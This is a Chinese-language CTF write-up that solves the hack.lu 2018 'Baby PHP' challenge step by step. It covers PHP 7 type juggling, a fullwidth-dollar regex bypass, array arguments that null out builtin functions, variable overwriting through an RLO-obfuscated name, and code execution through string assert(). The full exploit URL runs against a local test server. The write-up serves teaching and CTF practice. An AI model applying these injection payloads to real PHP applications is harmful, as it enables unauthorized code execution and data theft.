hack.lu 2018 Baby PHP 题解——六层 PHP 特性链
不带参数访问,highlight_file(__FILE__) 会把整个文件回显到页面上,白盒审计,六道判断依次把关。这道题出自 hack.lu CTF 2018 的 Web 题 baby,rawsec 的题解 有逐步记录。
1 |
|
源码中间有一行的变量名中间夹着 U+202E(右至左覆盖符),那一行的字符顺序被整体打翻,看起来很像一次普通赋值。按字面读成赋值为 1 就会永远卡在 lel no,第五关给出它的字节。
每道判断的出口文案构成一条断点:
| 阶段 | 响应 |
|---|---|
| 不带参数 | 源码 |
msg 未过 |
Wow so rude!!!!1 |
| 第二关未过 | lol no |
| 第三、四关未过 | lel no |
| 第五关过了但断言失败 | 问候语之后无输出 |
| 全部通过 | flag + Good Job ;) |
第三、四关失败时的文案和第五关一样,都是 lel no,想分开判断得在那两处后面插一句 var_dump(strlen($k2), $cc)。
第一、二关:伪协议与类型夹缝
第一关要求文件读取的返回值严格等于 "Hello Challenge!",16 字节,末尾不带换行。
$msg 被直接当文件名或 URL 用,data:// 包装器能凭空造出一个文件:
1 | ?msg=data://text/plain,Hello%20Challenge! |
php://input 也能过,但要求同时发 POST body,浏览器地址栏打不了。环境把外连也封了,自己搭个返回字符串的 HTTP 服务(RFI)打不通。
响应变成 Hello Hacker! Have a look around. 加一句 lol no,第一关到手。
1 | if(intval($k1) !== $cc || $k1 === $cc){ die("lol no\n"); } |
intval($k1) 的结果必须严格等于整数 1337,而原值又不允许全等于它。
GET 传进来的一律是字符串,"1337" === 1337 在类型上就不成立,直接传 key1=1337 即可:
1 | php > var_dump(intval('1337') !== 1337 || '1337' === 1337); |
补上这个参数,文案从 lol no 变成 lel no。
intval() 对同一串数字的不同写法处理并不一致:
1 | php > var_dump(intval('01337'), intval('1337abc'), intval('1337e10')); |
只有非数字字符串才走「取前导数字」那条路。中文资料里流传过 1337e10 的写法,按这条链跑不通:它会被整串当数值转换,第二关直接 lol no。
第三关:42 字节与全角 $
1 | if(strlen($k2) == $bb){ // $bb = 42 |
四个条件叠在一起:长度 42、以数字开头且紧跟一个 $、不被判定为数字、值等于 1337。
strlen() 数的是字节不是字符。这个全角符号的码位是 U+FF04,和半角的 $ 差得远,只是字形接近,UTF-8 占三个字节。
所以「42 字节」里只能放 39 个 ASCII 字符,剩下的 3 字节留给它。按「35 个 0 接 1337」分配,35 + 4 + 3 = 42,长度和值两个条件同时满足。
$ 和 $ 在等宽字体里几乎同形,语义完全不同——它是字面字符,不是行尾锚点。同一份 payload 喂给两个正则,结果直接分家:
1 | php > $k2 = str_repeat('0',35).'1337'."\u{FF04}"; |
最后那个 $k2 == $cc 用的是宽松比较,PHP 7 会把以数字开头的字符串按前导数字转成整数,尾巴上的全角字符被忽略:
1 | php > var_dump('000000000000000000000000000000000001337$' == 1337); |
1 | &key2=000000000000000000000000000000000001337%EF%BC%84 |
%EF%BC%84 就是那三个字节 EF BC 84 的 URL 编码。
这一关过了 $cc 才被重新赋值,从这里开始归我们控制。
第四关:substr 与 sha1 的 NULL 返回
1 | if(substr($cc, $bb) === sha1($cc)){ |
sha1() 固定返回 40 个字符,substr($cc, 42) 要严格等于这个 40 字符的串。哈希由整串算出,而整串里又包含这段哈希,改任一处另一处必变——自指,构造不出来。
换类型。两个函数的参数声明都是 string,PHP 7 遇到数组只发一条 warning 然后返回空值,两边同时为空,严格比较就成立了:
1 | php > var_dump(substr([], 42), sha1([]), substr([], 42) === sha1([])); |
传 cc[]= 就能把 $cc 变成数组,元素只有一个空串,关键是它不再是字符串。warning 被 error_reporting 关掉,这一关安静地过。
foreach 就在这个 if 里面,过了这关才执行——它同时也是一次对 $_GET 所有键的任意变量赋值。
第五关:变量覆盖与 RLO 混淆
1 | list($k1,$k2) = [$k2, $k1]; // 第四关的 if(substr…foreach…) 段略去 |
左右值交换之后,$k1 变成了那个 42 字节的 payload。
但 foreach 在这之后跑,GET 里每个键都会被注册成同名变量,多传一个 k1 就能把它盖回去。
$a 的值是 RLO 加字母 b 的这四个字节,$$a 因此解析回同一个变量,取到字符串 2。
强比较要求 $k1 也是字符串形态,整数 2 与字符串 2 在 !== 下并不相等。
GET 传上来天然是字符串,&k1=2 正好。
那行代码的真实字节,行号按自己文件里的位置来:
1 | $ sed -n '43p' index.php | xxd -g1 |
24 e2 80 ae 62 —— 美元符号后面紧跟 E2 80 AE,再是字母 b。
变量名不是 $b,是 $\xe2\x80\xaeb,中间多了三个字节。
变量名和 $a 的值必须逐字节一致,才能解析回同一个变量。两边有一处漏掉这三个字节,$$a 就指向另一个不存在的变量,强比较直接失败。
RLO 的作用是把其后字符的显示顺序颠倒。这一行在编辑器里看起来像一次普通的 $b=1 赋值,读代码的人容易照着这个结论去猜「$$a 为什么恒为 1」,然后一路卡到超时。
第六关:assert 字符串执行
1 | assert_options(ASSERT_BAIL, 1); |
被注释掉的 // echo $flag; 交代了 flag 的变量名,而 PHP 7 的 assert() 收到字符串时会把整串当 PHP 代码求值。
payload 里的 bb=print_r($flag);// 覆盖掉原来的 42——foreach 会把每个键注册成同名变量。
$cc 是数组,插值时变成字符串 Array,拼出来的断言串是:
1 | print_r($flag);// == Array |
// 把 == Array 变成注释,前面留下的就是一条完整的 print_r 调用。
不传 bb 的话断言串停在 42 == Array。Array 是 PHP 的保留字,这段字符串根本编译不过,直接抛 ParseError。
配上 error_reporting(0),问候语之后就没有任何输出了,本地调试时最容易被当成 payload 写错。
assert_options(ASSERT_BAIL, 1) 让断言失败时中止执行。这里 print_r 返回 true,断言算通过,不触发 bail,后面的 Good Job 照常输出。
bail 到底管不管用,对照跑一次就清楚了:
1 | php > assert_options(ASSERT_BAIL,1); assert("1==2"); echo "CONTINUE\n"; |
PHP 7.2 起字符串形式的 assert() 还会抛 E_DEPRECATED,同样被 error_reporting 压掉。
前提是 assert.active 与 zend.assertions 同为 1,关掉任一个就没有这条提示。
页面没输出时把 error_reporting 临时改成 E_ALL,或直接看 php -S 的 stderr,ParseError 和 Deprecated 都藏不住。
完整 payload 和成功回显(flag 值隐去):
1 | http://127.0.0.1:8899/?msg=data%3A%2F%2Ftext%2Fplain%2CHello%20Challenge%21&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84&cc%5B%5D=&k1=2&bb=print_r%28%24flag%29%3B%2F%2F |
1 | Hello Hacker! Have a look around. |
本地复现脚本与 URL 生成
两个文件就能起靶场,index.php 照抄上面的源码(RLO 那行要按字节还原),flag.php 里放 $flag 变量。启动:
1 | php -S 127.0.0.1:8899 -t . |
用 curl 逐级追加参数验证:
1 | K2="$(printf '0%.0s' $(seq 1 35))1337" |
printf '0%.0s' $(seq 1 35) 生成 35 个零,比手数靠谱。生成完整 URL 用 Python,顺带把全角字符转成正确的百分号编码:
1 | from urllib.parse import quote |
版本要求
整条链靠的是 PHP 7 的宽松行为:数字开头的字符串与整数比较,按前导数字取值;内置函数收到数组不报错,返回 NULL;assert() 收到字符串,当代码执行。
PHP 8 把这三处分别改成:数字与非数字字符串比较时先把数字转成字符串再比、抛 TypeError、不再执行,第三、四、六关都会断。
靶场要用 PHP 7 跑,并且 php.ini 里 zend.assertions=1。
发行包自带的 php.ini-production 模板把它设成 -1,这个值下 assert() 整句在编译期就被优化掉,PHP 7 同样拿不到 flag。
踩坑记录
| 走的弯路 | 当时为什么这么想 | 现在怎么避开 | |
|---|---|---|---|
按 42 个字符凑,用 37 个 0 |
把 strlen 当成数字符 |
先 `printf ‘%s’ “$K2$” \ | wc -c` 量字节 |
把 $ 读成行尾锚点,觉得「纯数字又 !is_numeric」自相矛盾 |
等宽字体里两个字符同形 | 复制出来看码位,0xff04 一眼就露 |
|
把源码那行照抄成 $b=1,k1=2 永远 lel no |
复制的是 RLO 打乱后的显示文本 | xxd 看字节,找 e2 80 ae |
|
想构造 $cc 满足 substr($cc,42) === sha1($cc),甚至去查 sha1 碰撞 |
没意识到内置函数收数组会返回 NULL |
等式两边都是函数返回值时,先问能不能同时为 NULL |
|
| 第五关过了但页面没下文,以为 payload 写错 | error_reporting(0) 把 assert 的 ParseError 一起吞了,Array 是保留字,42 == Array 编译不过 |
看 php -S 的 stderr,报错原文写着哪一行 |
六个条件里没有一个依赖新特性,全是 PHP 一直以来的宽松行为。换到 PHP 8,这条链就断了,但代码里出现函数返回值参与严格比较、$$$$ 开头的变量、正则里认不出的字符,这三处跟版本没关系。





